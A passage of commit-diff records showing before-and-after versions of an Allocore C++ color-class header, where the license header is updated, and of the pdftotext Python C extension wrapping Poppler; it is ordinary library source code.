}\n\n\t\/\/\/ Set from gray value and alpha\n\tColor& set(float v, float al){ return set(v,v,v,a); }\n\n\t\/\/\/ Set from an array of RGBA components\n\ttemplate <class T>\n\tColor& set(const T* rgba){ return set(rgba[0],rgba[1],rgba[2],rgba[3]); }\n\n\t\/\/\/ Set components from tightly packed RGBA array\n\ttemplate <class Array4>\n\tColor& operator= (const Array4& v){ return set(v[0], v[1], v[2], v[3]); }\n\n\t\/\/\/ Set from gray value\n\tColor& operator= (float v){ return set(v); }\n\tColor& operator= (double v){ return set(v); }\n\n\t\/\/\/ Set components from integer color\n\tColor& operator= (const Colori& v);\n\n\t\/\/\/ Set RGB components from HSV\n\tColor& operator= (const HSV& v);\n\n\t\/\/\/ Return true if all components are equal, false otherwise\n\tbool operator ==(const Color& v) const { return v.r==r && v.g==g && v.b==b && v.a==a; }\n\n\t\/\/\/ Return true if components are not equal, false otherwise\n\tbool operator !=(const Color& v) const { return !(*this == v); }\n\n\tColor& operator+= (const Color& v){ return set(r+v.r, g+v.g, b+v.b, a+v.a); }\n\tColor& operator-= (const Color& v){ return set(r-v.r, g-v.g, b-v.b, a-v.a); }\n\tColor& operator*= (const Color& v){ return set(r*v.r, g*v.g, b*v.b, a*v.a); }\n\tColor& operator\/= (const Color& v){ return set(r\/v.r, g\/v.g, b\/v.b, a\/v.a); }\n\tColor& operator+= (float v){ return set(r+v, g+v, b+v, a+v); }\n\tColor& operator-= (float v){ return set(r-v, g-v, b-v, a-v); }\n\tColor& operator*= (float v){ return set(r*v, g*v, b*v, a*v); }\n\tColor& operator\/= (float v){ return set(r\/v, g\/v, b\/v, a\/v); }\n\n\tColor operator- () const { return Color(-r,-g,-b,-a); }\n\tColor operator+ (const Color& v) const { return Color(*this)+=v; }\n\tColor operator- (const Color& v) const { return Color(*this)-=v; }\n\tColor operator* (const Color& v) const { return Color(*this)*=v; }\n\tColor operator\/ (const Color& v) const { return Color(*this)\/=v; }\n\tColor operator+ (float v) const { return Color(*this)+=v; }\n\tColor operator- (float v) const { return Color(*this)-=v; }\n\tColor operator* (float v) const { return Color(*this)*=v; }\n\tColor operator\/ (float v) const { return Color(*this)\/=v; }\n\n\t\/\/\/ Returns nearest black or white color\n\tColor blackAndWhite() const { return Color(luminance()>0.5f?1.f:0.f); }\n\n\t\/\/\/ Clamp all components into [0,1] range\n\tColor& clamp(){\n\t\tr<0.f ? r=0.f : (r>1.f ? r=1.f : 0);\n\t\tg<0.f ? g=0.f : (g>1.f ? g=1.f : 0);\n\t\tb<0.f ? b=0.f : (b>1.f ? b=1.f : 0);\n\t\ta<0.f ? a=0.f : (a>1.f ? a=1.f : 0);\n\t\treturn *this;\n\t}\n\n\t\/\/\/ Returns inverted color\n\tColor inverse() const { return Color(1.f-r, 1.f-g, 1.f-b, a); }\n\n\t\/\/\/ Invert RGB components\n\tColor& invert(){ return set(1.f-r, 1.f-g, 1.f-b); }\n\n\t\/\/\/ Returns luminance value\n\tfloat luminance() const { return r*0.3f+g*0.59f+b*0.11f; }\n\n\t\/\/\/ Returns self linearly mixed with another color (0 = none)\n\tColor mix(const Color& c, float amt=0.5f) const {\n\t\treturn (c-*this)*amt + *this;\n\t}\n\nprivate:\n\tfloat tof(uint8_t v){ return float(v)\/255.f; }\n};\n\n\n\n\/\/\/ Color represented by red, green, blue, and alpha components packed into 32-bit integer\n\n\/\/\/ The component accessor methods operate exclusively with integer types. To\n\/\/\/ convert to and from floating point values in the interval [0, 1], use the\n\/\/\/ overloaded assignment (=) operators.\nstruct Colori {\n\t\n\tunion{\n\t\tstruct{\n\t\t\tuint8_t r;\t\t\t\/\/\/< Red component in [0, 255]\n\t\t\tuint8_t g;\t\t\t\/\/\/< Green component in [0, 255]\n\t\t\tuint8_t b;\t\t\t\/\/\/< Blue component in [0, 255]\n\t\t\tuint8_t a;\t\t\t\/\/\/< Alpha component in [0, 255]\n\t\t};\n\t\tuint8_t components[4];\t\/\/\/< RGBA component vector\n\t\tuint32_t rgba;\t\t\t\/\/\/< RGBA components packed into 32-bit integer\n\t};\n\n\n\t\/\/\/ @param[in] r\t\t\tred component\n\t\/\/\/ @param[in] g\t\t\tgreen component\n\t\/\/\/ @param[in] b\t\t\tblue component\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColori(uint8_t r, uint8_t g, uint8_t b, uint8_t a=255)\n\t:\tr(r), g(g), b(b), a(a){}\n\n\t\/\/\/ @param[in] gray\t\t\tred\/green\/blue components\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColori(uint8_t gray=255, uint8_t a=255)\n\t:\tr(gray), g(gray), b(gray), a(a){}\n\n\t\/\/\/ @param[in] c\t\t\tRGBA color to convert from\n\tColori(const Color& c){ *this = c; }\n\n\t\/\/\/ @param[in] hsv\t\t\tHSV value\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColori(const HSV& hsv, float a=1.f)\n\t:\ta(toi(a))\n\t{\t*this = hsv; }\n\n\n\n\t\/\/\/ Set color component at index with no bounds checking\n\tuint8_t& operator[](int i){ return components[i]; }\n\n\t\/\/\/ Get color component at index with no bounds checking\n\tconst uint8_t& operator[](int i) const { return components[i]; }\n\n\t\/\/\/ Set from floating-point color\n\tColori& operator= (const Color& c){\n\t\tr=toi(c.r); g=toi(c.g); b=toi(c.b); a=toi(c.a); return *this; }\n\n\t\/\/\/ Set RGB components from HSV\n\tColori& operator= (const HSV& v){ *this = Color(v); return *this; }\n\n\t\/\/\/ Set RGB components\n\tColori& set(uint8_t re, uint8_t gr, uint8_t bl){\n\t\tr=re; g=gr; b=bl; return *this; }\n\n\t\/\/\/ Set RGBA components\n\tColori& set(uint8_t re, uint8_t gr, uint8_t bl, uint8_t al){\n\t\ta=al; return set(re,gr,bl); }\n\n\t\/\/\/ Set from gray value\n\tColori& set(uint8_t v){ return set(v,v,v); }\n\n\t\/\/\/ Set from gray value and alpha\n\tColori& set(uint8_t v, uint8_t al){ return set(v,al); }\n\nprivate:\n\tuint8_t toi(float v){ return uint8_t(v*255.f); }\n};\n\n\n\n\/\/\/ Color represented by hue, saturation, and value\nstruct HSV{\n\n\tunion{\n\t\tstruct{\n\t\t\tfloat h;\t\t\t\/\/\/< Hue component in [0, 1]\n\t\t\tfloat s;\t\t\t\/\/\/< Saturation component in [0, 1]\n\t\t\tfloat v;\t\t\t\/\/\/< Value component in [0, 1]\n\t\t};\n\t\tfloat components[3];\t\/\/\/< HSV component vector\n\t};\n\n\n\t\/\/\/ @param[in] h\thue\n\t\/\/\/ @param[in] s\tsaturation\n\t\/\/\/ @param[in] v\tvalue\n\tHSV(float h=0, float s=1, float v=1): h(h), s(s), v(v){}\n\n\t\/\/\/ @param[in] c\tRGB color to convert from\n\tHSV(const Color& c){ *this = c; }\n\n\t\/\/\/ @param[in] c\tRGB color to convert from\n\tHSV(const Colori& c){ *this = c; }\n\n\t\/\/\/ @param[in] hsv\t\t3-vector of hsv components\n\ttemplate<class T>\n\tHSV(T * hsv): h(hsv[0]), s(hsv[1]), v(hsv[2]){}\n\n\n\t\/\/\/ Set from RGB color\n\tHSV& operator= (const Color& c);\n\n\t\/\/\/ Set from RGB color\n\tHSV& operator= (const Colori& c){ return *this = Color(c); }\n\n\t\/\/\/ Rotate hue in interval [0, 1)\n\tHSV& rotateHue(float dh){ h += dh; return wrapHue(); }\n\n\t\/\/\/ Wrap hue value into valid interval [0, 1)\n\tHSV& wrapHue(){\n\t\tif(h>1){ h -= int(h); }\n\t\telse if(h<0){ h -= int(h)-1; }\n\t\treturn *this;\n\t}\n};\n\n\n\n\n\/\/ Implementation --------------------------------------------------------------\n\ninline Color operator + (float s, const Color& c){ return  c+s; }\ninline Color operator - (float s, const Color& c){ return -c+s; }\ninline Color operator * (float s, const Color& c){ return  c*s; }\ninline Color operator \/ (float s, const Color& c){ return Color(s\/c.r, s\/c.g, s\/c.b, s\/c.a); }\n\ninline Color& Color::operator= (const Colori& v){\n\t\tr=tof(v.r); g=tof(v.g); b=tof(v.b); a=tof(v.a); return *this; }\n\n\n} \/\/ al::\n\n#endif\n<commit_msg>Header info update<commit_after>#ifndef INCLUDE_AL_COLOR_HPP\n#define INCLUDE_AL_COLOR_HPP\n\n\/*\tAllocore --\n\tMultimedia \/ virtual environment application class library\n\n\tCopyright (C) 2009. AlloSphere Research Group, Media Arts & Technology, UCSB.\n\tCopyright (C) 2006-2008. The Regents of the University of California (REGENTS). \n\tAll Rights Reserved.\n\n\tPermission to use, copy, modify, distribute, and distribute modified versions\n\tof this software and its documentation without fee and without a signed\n\tlicensing agreement, is hereby granted, provided that the above copyright\n\tnotice, the list of contributors, this paragraph and the following two paragraphs \n\tappear in all copies, modifications, and distributions.\n\n\tIN NO EVENT SHALL REGENTS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT,\n\tSPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS, ARISING\n\tOUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF REGENTS HAS\n\tBEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\tREGENTS SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\tTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\tPURPOSE. THE SOFTWARE AND ACCOMPANYING DOCUMENTATION, IF ANY, PROVIDED\n\tHEREUNDER IS PROVIDED \"AS IS\". REGENTS HAS  NO OBLIGATION TO PROVIDE\n\tMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n\tFile description:\n\tRGBA and HSV color classes\n\n\tFile author(s):\n\tLance Putnam, 2010, putnam.lance@gmail.com\n*\/\n\n#include \"allocore\/system\/pstdint.h\"\n\nnamespace al{\n\nstruct Color;\nstruct Colori;\nstruct HSV;\n\n\n\/\/\/ Color represented by red, green, blue, and alpha components\nstruct Color{\n\n\tunion{\n\t\tstruct{\n\t\t\tfloat r;\t\t\t\/\/\/< Red component in [0, 1]\n\t\t\tfloat g;\t\t\t\/\/\/< Green component in [0, 1]\n\t\t\tfloat b;\t\t\t\/\/\/< Blue component in [0, 1]\n\t\t\tfloat a;\t\t\t\/\/\/< Alpha component in [0, 1]\n\t\t};\n\t\tfloat components[4];\t\/\/\/< RGBA component vector\n\t};\n\n\n\t\/\/\/ @param[in] r\t\t\tred component\n\t\/\/\/ @param[in] g\t\t\tgreen component\n\t\/\/\/ @param[in] b\t\t\tblue component\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColor(float r, float g, float b, float a=1.f)\n\t:\tr(r), g(g), b(b), a(a){}\n\n\t\/\/\/ @param[in] gray\t\t\tred\/green\/blue components\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColor(float gray=1.f, float a=1.f)\n\t:\tr(gray), g(gray), b(gray), a(a){}\n\n\t\/\/\/ @param[in] c\tRGBA color to convert from\n\tColor(const Colori& c){ *this = c; }\n\n\t\/\/\/ @param[in] hsv\t\t\tHSV value\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColor(const HSV& hsv, float a=1.f)\n\t:\ta(a)\n\t{\t*this = hsv; }\n\n\n\t\/\/\/ Set color component at index with no bounds checking\n\tfloat& operator[](int i){ return components[i]; }\n\n\t\/\/\/ Get color component at index with no bounds checking\n\tconst float& operator[](int i) const { return components[i]; }\n\n\t\/\/\/ Set RGB from another color and alpha from argument\n\tColor& set(const Color& c, float al){ a=al; return set(c.r,c.g,c.b); }\n\n\t\/\/\/ Set RGBA components\n\tColor& set(float re, float gr, float bl, float al){ a=al; return set(re,gr,bl); }\n\n\t\/\/\/ Set RGB components\n\tColor& set(float re, float gr, float bl){ r=re; g=gr; b=bl; return *this; }\n\n\t\/\/\/ Set from gray value\n\tColor& set(float v){ return set(v,v,v); }\n\n\t\/\/\/ Set from gray value and alpha\n\tColor& set(float v, float al){ return set(v,v,v,a); }\n\n\t\/\/\/ Set from an array of RGBA components\n\ttemplate <class T>\n\tColor& set(const T* rgba){ return set(rgba[0],rgba[1],rgba[2],rgba[3]); }\n\n\t\/\/\/ Set components from tightly packed RGBA array\n\ttemplate <class Array4>\n\tColor& operator= (const Array4& v){ return set(v[0], v[1], v[2], v[3]); }\n\n\t\/\/\/ Set from gray value\n\tColor& operator= (float v){ return set(v); }\n\tColor& operator= (double v){ return set(v); }\n\n\t\/\/\/ Set components from integer color\n\tColor& operator= (const Colori& v);\n\n\t\/\/\/ Set RGB components from HSV\n\tColor& operator= (const HSV& v);\n\n\t\/\/\/ Return true if all components are equal, false otherwise\n\tbool operator ==(const Color& v) const { return v.r==r && v.g==g && v.b==b && v.a==a; }\n\n\t\/\/\/ Return true if components are not equal, false otherwise\n\tbool operator !=(const Color& v) const { return !(*this == v); }\n\n\tColor& operator+= (const Color& v){ return set(r+v.r, g+v.g, b+v.b, a+v.a); }\n\tColor& operator-= (const Color& v){ return set(r-v.r, g-v.g, b-v.b, a-v.a); }\n\tColor& operator*= (const Color& v){ return set(r*v.r, g*v.g, b*v.b, a*v.a); }\n\tColor& operator\/= (const Color& v){ return set(r\/v.r, g\/v.g, b\/v.b, a\/v.a); }\n\tColor& operator+= (float v){ return set(r+v, g+v, b+v, a+v); }\n\tColor& operator-= (float v){ return set(r-v, g-v, b-v, a-v); }\n\tColor& operator*= (float v){ return set(r*v, g*v, b*v, a*v); }\n\tColor& operator\/= (float v){ return set(r\/v, g\/v, b\/v, a\/v); }\n\n\tColor operator- () const { return Color(-r,-g,-b,-a); }\n\tColor operator+ (const Color& v) const { return Color(*this)+=v; }\n\tColor operator- (const Color& v) const { return Color(*this)-=v; }\n\tColor operator* (const Color& v) const { return Color(*this)*=v; }\n\tColor operator\/ (const Color& v) const { return Color(*this)\/=v; }\n\tColor operator+ (float v) const { return Color(*this)+=v; }\n\tColor operator- (float v) const { return Color(*this)-=v; }\n\tColor operator* (float v) const { return Color(*this)*=v; }\n\tColor operator\/ (float v) const { return Color(*this)\/=v; }\n\n\t\/\/\/ Returns nearest black or white color\n\tColor blackAndWhite() const { return Color(luminance()>0.5f?1.f:0.f); }\n\n\t\/\/\/ Clamp all components into [0,1] range\n\tColor& clamp(){\n\t\tr<0.f ? r=0.f : (r>1.f ? r=1.f : 0);\n\t\tg<0.f ? g=0.f : (g>1.f ? g=1.f : 0);\n\t\tb<0.f ? b=0.f : (b>1.f ? b=1.f : 0);\n\t\ta<0.f ? a=0.f : (a>1.f ? a=1.f : 0);\n\t\treturn *this;\n\t}\n\n\t\/\/\/ Returns inverted color\n\tColor inverse() const { return Color(1.f-r, 1.f-g, 1.f-b, a); }\n\n\t\/\/\/ Invert RGB components\n\tColor& invert(){ return set(1.f-r, 1.f-g, 1.f-b); }\n\n\t\/\/\/ Returns luminance value\n\tfloat luminance() const { return r*0.3f+g*0.59f+b*0.11f; }\n\n\t\/\/\/ Returns self linearly mixed with another color (0 = none)\n\tColor mix(const Color& c, float amt=0.5f) const {\n\t\treturn (c-*this)*amt + *this;\n\t}\n\nprivate:\n\tfloat tof(uint8_t v){ return float(v)\/255.f; }\n};\n\n\n\n\/\/\/ Color represented by red, green, blue, and alpha components packed into 32-bit integer\n\n\/\/\/ The component accessor methods operate exclusively with integer types. To\n\/\/\/ convert to and from floating point values in the interval [0, 1], use the\n\/\/\/ overloaded assignment (=) operators.\nstruct Colori {\n\t\n\tunion{\n\t\tstruct{\n\t\t\tuint8_t r;\t\t\t\/\/\/< Red component in [0, 255]\n\t\t\tuint8_t g;\t\t\t\/\/\/< Green component in [0, 255]\n\t\t\tuint8_t b;\t\t\t\/\/\/< Blue component in [0, 255]\n\t\t\tuint8_t a;\t\t\t\/\/\/< Alpha component in [0, 255]\n\t\t};\n\t\tuint8_t components[4];\t\/\/\/< RGBA component vector\n\t\tuint32_t rgba;\t\t\t\/\/\/< RGBA components packed into 32-bit integer\n\t};\n\n\n\t\/\/\/ @param[in] r\t\t\tred component\n\t\/\/\/ @param[in] g\t\t\tgreen component\n\t\/\/\/ @param[in] b\t\t\tblue component\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColori(uint8_t r, uint8_t g, uint8_t b, uint8_t a=255)\n\t:\tr(r), g(g), b(b), a(a){}\n\n\t\/\/\/ @param[in] gray\t\t\tred\/green\/blue components\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColori(uint8_t gray=255, uint8_t a=255)\n\t:\tr(gray), g(gray), b(gray), a(a){}\n\n\t\/\/\/ @param[in] c\t\t\tRGBA color to convert from\n\tColori(const Color& c){ *this = c; }\n\n\t\/\/\/ @param[in] hsv\t\t\tHSV value\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColori(const HSV& hsv, float a=1.f)\n\t:\ta(toi(a))\n\t{\t*this = hsv; }\n\n\n\n\t\/\/\/ Set color component at index with no bounds checking\n\tuint8_t& operator[](int i){ return components[i]; }\n\n\t\/\/\/ Get color component at index with no bounds checking\n\tconst uint8_t& operator[](int i) const { return components[i]; }\n\n\t\/\/\/ Set from floating-point color\n\tColori& operator= (const Color& c){\n\t\tr=toi(c.r); g=toi(c.g); b=toi(c.b); a=toi(c.a); return *this; }\n\n\t\/\/\/ Set RGB components from HSV\n\tColori& operator= (const HSV& v){ *this = Color(v); return *this; }\n\n\t\/\/\/ Set RGB components\n\tColori& set(uint8_t re, uint8_t gr, uint8_t bl){\n\t\tr=re; g=gr; b=bl; return *this; }\n\n\t\/\/\/ Set RGBA components\n\tColori& set(uint8_t re, uint8_t gr, uint8_t bl, uint8_t al){\n\t\ta=al; return set(re,gr,bl); }\n\n\t\/\/\/ Set from gray value\n\tColori& set(uint8_t v){ return set(v,v,v); }\n\n\t\/\/\/ Set from gray value and alpha\n\tColori& set(uint8_t v, uint8_t al){ return set(v,al); }\n\nprivate:\n\tuint8_t toi(float v){ return uint8_t(v*255.f); }\n};\n\n\n\n\/\/\/ Color represented by hue, saturation, and value\nstruct HSV{\n\n\tunion{\n\t\tstruct{\n\t\t\tfloat h;\t\t\t\/\/\/< Hue component in [0, 1]\n\t\t\tfloat s;\t\t\t\/\/\/< Saturation component in [0, 1]\n\t\t\tfloat v;\t\t\t\/\/\/< Value component in [0, 1]\n\t\t};\n\t\tfloat components[3];\t\/\/\/< HSV component vector\n\t};\n\n\n\t\/\/\/ @param[in] h\thue\n\t\/\/\/ @param[in] s\tsaturation\n\t\/\/\/ @param[in] v\tvalue\n\tHSV(float h=0, float s=1, float v=1): h(h), s(s), v(v){}\n\n\t\/\/\/ @param[in] c\tRGB color to convert from\n\tHSV(const Color& c){ *this = c; }\n\n\t\/\/\/ @param[in] c\tRGB color to convert from\n\tHSV(const Colori& c){ *this = c; }\n\n\t\/\/\/ @param[in] hsv\t\t3-vector of hsv components\n\ttemplate<class T>\n\tHSV(T * hsv): h(hsv[0]), s(hsv[1]), v(hsv[2]){}\n\n\n\t\/\/\/ Set from RGB color\n\tHSV& operator= (const Color& c);\n\n\t\/\/\/ Set from RGB color\n\tHSV& operator= (const Colori& c){ return *this = Color(c); }\n\n\t\/\/\/ Rotate hue in interval [0, 1)\n\tHSV& rotateHue(float dh){ h += dh; return wrapHue(); }\n\n\t\/\/\/ Wrap hue value into valid interval [0, 1)\n\tHSV& wrapHue(){\n\t\tif(h>1){ h -= int(h); }\n\t\telse if(h<0){ h -= int(h)-1; }\n\t\treturn *this;\n\t}\n};\n\n\n\n\n\/\/ Implementation --------------------------------------------------------------\n\ninline Color operator + (float s, const Color& c){ return  c+s; }\ninline Color operator - (float s, const Color& c){ return -c+s; }\ninline Color operator * (float s, const Color& c){ return  c*s; }\ninline Color operator \/ (float s, const Color& c){ return Color(s\/c.r, s\/c.g, s\/c.b, s\/c.a); }\n\ninline Color& Color::operator= (const Colori& v){\n\t\tr=tof(v.r); g=tof(v.g); b=tof(v.b); a=tof(v.a); return *this; }\n\n\n} \/\/ al::\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <Python.h>\n#include <structmember.h>\n\n#include <poppler\/cpp\/poppler-document.h>\n#include <poppler\/cpp\/poppler-global.h>\n#include <poppler\/cpp\/poppler-page.h>\n\n#include <string>\n#include <vector>\n\n\nstatic PyObject* PdftotextError;\n\ntypedef struct {\n    PyObject_HEAD\n    int page_count;\n    PyObject* data;\n    poppler::document* doc;\n} PDF;\n\nstatic void PDF_clear(PDF* self) {\n    self->page_count = 0;\n    delete self->doc;\n    self->doc = NULL;\n    Py_CLEAR(self->data);\n}\n\nstatic int PDF_load_data(PDF* self, PyObject* file) {\n    #if PY_MAJOR_VERSION >= 3\n    self->data = PyObject_CallMethod(file, \"read\", NULL);\n    #else\n    self->data = PyObject_CallMethod(file, (char*)\"read\", NULL);\n    #endif\n    if (self->data == NULL) {\n        return -1;\n    }\n    return 0;\n}\n\nstatic int PDF_create_doc(PDF* self) {\n    Py_ssize_t len;\n    char* buf;\n\n    if (PyBytes_AsStringAndSize(self->data, &buf, &len) < 0) {\n        return -1;\n    }\n    self->doc = poppler::document::load_from_raw_data(buf, len);\n    if (self->doc == NULL) {\n        PyErr_Format(PdftotextError, \"Poppler error creating document\");\n        return -1;\n    }\n    return 0;\n}\n\nstatic int PDF_unlock(PDF* self, char* password) {\n    if (self->doc->unlock(std::string(password), std::string(password))) {\n        PyErr_Format(PdftotextError, \"Failed to unlock document\");\n        return -1;\n    }\n    return 0;\n}\n\nstatic int PDF_init(PDF* self, PyObject* args, PyObject* kwds) {\n    PyObject* pdf_file;\n    char* password = (char*)\"\";\n    static char* kwlist[] = {(char*)\"pdf_file\", (char*)\"password\", NULL};\n\n    PDF_clear(self);\n\n    if (!PyArg_ParseTupleAndKeywords(args, kwds, \"O|s\", kwlist, &pdf_file, &password)) {\n        goto error;\n    }\n    if (PDF_load_data(self, pdf_file) < 0) {\n        goto error;\n    }\n    if (PDF_create_doc(self) < 0) {\n        goto error;\n    }\n    if (PDF_unlock(self, password) < 0) {\n        goto error;\n    }\n\n    self->page_count = self->doc->pages();\n    return 0;\n\nerror:\n    PDF_clear(self);\n    return -1;\n}\n\nstatic void PDF_dealloc(PDF* self) {\n    PDF_clear(self);\n    Py_TYPE(self)->tp_free((PyObject*)self);\n}\n\nstatic PyObject* PDF_read_page(PDF* self, int page_number) {\n    const poppler::page* page;\n    std::vector<char> page_utf8;\n\n    page = self->doc->create_page(page_number);\n    if (page == NULL) {\n        return PyErr_Format(PdftotextError, \"Poppler error creating page\");\n    }\n    page_utf8 = page->text().to_utf8();\n    delete page;\n    return PyUnicode_DecodeUTF8(page_utf8.data(), page_utf8.size(), NULL);\n}\n\nstatic Py_ssize_t PDF_len(PyObject* obj) {\n    PDF* self = (PDF*)obj;\n    return self->page_count;\n}\n\nstatic PyObject* PDF_getitem(PyObject* obj, Py_ssize_t i) {\n    PDF* self = (PDF*)obj;\n\n    if (i < 0 || i >= self->page_count) {\n        return PyErr_Format(PyExc_IndexError, \"Index out of range\");\n    }\n    return PDF_read_page(self, i);\n}\n\nstatic PySequenceMethods PDF_sequence_methods = {\n    PDF_len,      \/\/ sq_length (__len__)\n    0,            \/\/ sq_concat\n    0,            \/\/ sq_repeat\n    PDF_getitem,  \/\/ sq_item (__getitem__)\n};\n\nstatic PyTypeObject PDFType = {\n    PyVarObject_HEAD_INIT(NULL, 0)\n    \"pdftotext.PDF\",                                   \/\/ tp_name\n    sizeof(PDF),                                       \/\/ tp_basicsize\n    0,                                                 \/\/ tp_itemsize\n    (destructor)PDF_dealloc,                           \/\/ tp_dealloc\n    0,                                                 \/\/ tp_print\n    0,                                                 \/\/ tp_getattr\n    0,                                                 \/\/ tp_setattr\n    0,                                                 \/\/ tp_reserved\n    0,                                                 \/\/ tp_repr\n    0,                                                 \/\/ tp_as_number\n    &PDF_sequence_methods,                             \/\/ tp_as_sequence\n    0,                                                 \/\/ tp_as_mapping\n    0,                                                 \/\/ tp_hash\n    0,                                                 \/\/ tp_call\n    0,                                                 \/\/ tp_str\n    0,                                                 \/\/ tp_getattro\n    0,                                                 \/\/ tp_setattro\n    0,                                                 \/\/ tp_as_buffer\n    Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,          \/\/ tp_flags\n    \"PDF(pdf_file, password=\"\") -> new PDF document\",  \/\/ tp_doc\n    0,                                                 \/\/ tp_traverse\n    0,                                                 \/\/ tp_clear\n    0,                                                 \/\/ tp_richcompare\n    0,                                                 \/\/ tp_weaklistoffset\n    0,                                                 \/\/ tp_iter\n    0,                                                 \/\/ tp_iternext\n    0,                                                 \/\/ tp_methods\n    0,                                                 \/\/ tp_members\n    0,                                                 \/\/ tp_getset\n    0,                                                 \/\/ tp_base\n    0,                                                 \/\/ tp_dict\n    0,                                                 \/\/ tp_descr_get\n    0,                                                 \/\/ tp_descr_set\n    0,                                                 \/\/ tp_dictoffset\n    (initproc)PDF_init,                                \/\/ tp_init\n};\n\n#if POPPLER_CPP_AT_LEAST_0_30_0\nstatic void do_nothing(const std::string&, void*) {}\n#endif\n\n#if PY_MAJOR_VERSION >= 3\nstatic PyModuleDef pdftotextmodule = {\n    PyModuleDef_HEAD_INIT,\n    \"pdftotext\",\n    \"Simple PDF text extraction.\",\n};\n\nPyMODINIT_FUNC PyInit_pdftotext() {\n    PyObject* module;\n\n    PDFType.tp_new = PyType_GenericNew;\n    if (PyType_Ready(&PDFType) < 0) {\n        return NULL;\n    }\n\n    module = PyModule_Create(&pdftotextmodule);\n    if (module == NULL) {\n        return NULL;\n    }\n\n    Py_INCREF(&PDFType);\n    PyModule_AddObject(module, \"PDF\", (PyObject*)&PDFType);\n\n    PdftotextError = PyErr_NewExceptionWithDoc(\n        \"pdftotext.Error\", \"PDF error.\", NULL, NULL);\n    Py_INCREF(PdftotextError);\n    PyModule_AddObject(module, \"Error\", PdftotextError);\n\n    #if POPPLER_CPP_AT_LEAST_0_30_0\n    poppler::set_debug_error_function(do_nothing, NULL);\n    #endif\n\n    return module;\n}\n#else\nstatic PyMethodDef module_methods[] = {\n    {NULL},  \/\/ Sentinel\n};\n\nPyMODINIT_FUNC initpdftotext() {\n    PyObject* module;\n\n    PDFType.tp_new = PyType_GenericNew;\n    if (PyType_Ready(&PDFType) < 0) {\n        return;\n    }\n\n    module = Py_InitModule3(\n        \"pdftotext\", module_methods, \"Simple PDF text extraction.\");\n    if (module == NULL) {\n        return;\n    }\n\n    Py_INCREF(&PDFType);\n    PyModule_AddObject(module, \"PDF\", (PyObject*)&PDFType);\n\n    PdftotextError = PyErr_NewExceptionWithDoc(\n        (char*)\"pdftotext.Error\", (char*)\"PDF error.\", NULL, NULL);\n    Py_INCREF(PdftotextError);\n    PyModule_AddObject(module, \"Error\", PdftotextError);\n\n    #if POPPLER_CPP_AT_LEAST_0_30_0\n    poppler::set_debug_error_function(do_nothing, NULL);\n    #endif\n}\n#endif\n<commit_msg>Use NULL methods in Py_InitModule3<commit_after>#include <Python.h>\n#include <structmember.h>\n\n#include <poppler\/cpp\/poppler-document.h>\n#include <poppler\/cpp\/poppler-global.h>\n#include <poppler\/cpp\/poppler-page.h>\n\n#include <string>\n#include <vector>\n\n\nstatic PyObject* PdftotextError;\n\ntypedef struct {\n    PyObject_HEAD\n    int page_count;\n    PyObject* data;\n    poppler::document* doc;\n} PDF;\n\nstatic void PDF_clear(PDF* self) {\n    self->page_count = 0;\n    delete self->doc;\n    self->doc = NULL;\n    Py_CLEAR(self->data);\n}\n\nstatic int PDF_load_data(PDF* self, PyObject* file) {\n    #if PY_MAJOR_VERSION >= 3\n    self->data = PyObject_CallMethod(file, \"read\", NULL);\n    #else\n    self->data = PyObject_CallMethod(file, (char*)\"read\", NULL);\n    #endif\n    if (self->data == NULL) {\n        return -1;\n    }\n    return 0;\n}\n\nstatic int PDF_create_doc(PDF* self) {\n    Py_ssize_t len;\n    char* buf;\n\n    if (PyBytes_AsStringAndSize(self->data, &buf, &len) < 0) {\n        return -1;\n    }\n    self->doc = poppler::document::load_from_raw_data(buf, len);\n    if (self->doc == NULL) {\n        PyErr_Format(PdftotextError, \"Poppler error creating document\");\n        return -1;\n    }\n    return 0;\n}\n\nstatic int PDF_unlock(PDF* self, char* password) {\n    if (self->doc->unlock(std::string(password), std::string(password))) {\n        PyErr_Format(PdftotextError, \"Failed to unlock document\");\n        return -1;\n    }\n    return 0;\n}\n\nstatic int PDF_init(PDF* self, PyObject* args, PyObject* kwds) {\n    PyObject* pdf_file;\n    char* password = (char*)\"\";\n    static char* kwlist[] = {(char*)\"pdf_file\", (char*)\"password\", NULL};\n\n    PDF_clear(self);\n\n    if (!PyArg_ParseTupleAndKeywords(args, kwds, \"O|s\", kwlist, &pdf_file, &password)) {\n        goto error;\n    }\n    if (PDF_load_data(self, pdf_file) < 0) {\n        goto error;\n    }\n    if (PDF_create_doc(self) < 0) {\n        goto error;\n    }\n    if (PDF_unlock(self, password) < 0) {\n        goto error;\n    }\n\n    self->page_count = self->doc->pages();\n    return 0;\n\nerror:\n    PDF_clear(self);\n    return -1;\n}\n\nstatic void PDF_dealloc(PDF* self) {\n    PDF_clear(self);\n    Py_TYPE(self)->tp_free((PyObject*)self);\n}\n\nstatic PyObject* PDF_read_page(PDF* self, int page_number) {\n    const poppler::page* page;\n    std::vector<char> page_utf8;\n\n    page = self->doc->create_page(page_number);\n    if (page == NULL) {\n        return PyErr_Format(PdftotextError, \"Poppler error creating page\");\n    }\n    page_utf8 = page->text().to_utf8();\n    delete page;\n    return PyUnicode_DecodeUTF8(page_utf8.data(), page_utf8.size(), NULL);\n}\n\nstatic Py_ssize_t PDF_len(PyObject* obj) {\n    PDF* self = (PDF*)obj;\n    return self->page_count;\n}\n\nstatic PyObject* PDF_getitem(PyObject* obj, Py_ssize_t i) {\n    PDF* self = 